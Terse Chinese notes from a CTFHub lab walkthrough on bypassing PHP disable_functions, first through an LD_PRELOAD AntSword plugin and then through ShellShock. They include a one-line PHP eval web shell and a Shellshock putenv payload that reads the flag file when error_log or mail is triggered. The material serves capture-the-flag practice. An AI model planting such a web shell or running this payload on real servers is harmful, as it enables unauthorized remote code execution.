LD_PRELOAD
url
蚁剑连接
选择插件
点击开始
查看到此文件名编辑连接拼接到url后面重新连接
点击开启终端
在终端执行命令
ls /
/readfile
ShellShock
url
CTFHub 环境实例 | 提示信息
蚁剑连接
写入shell.php
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>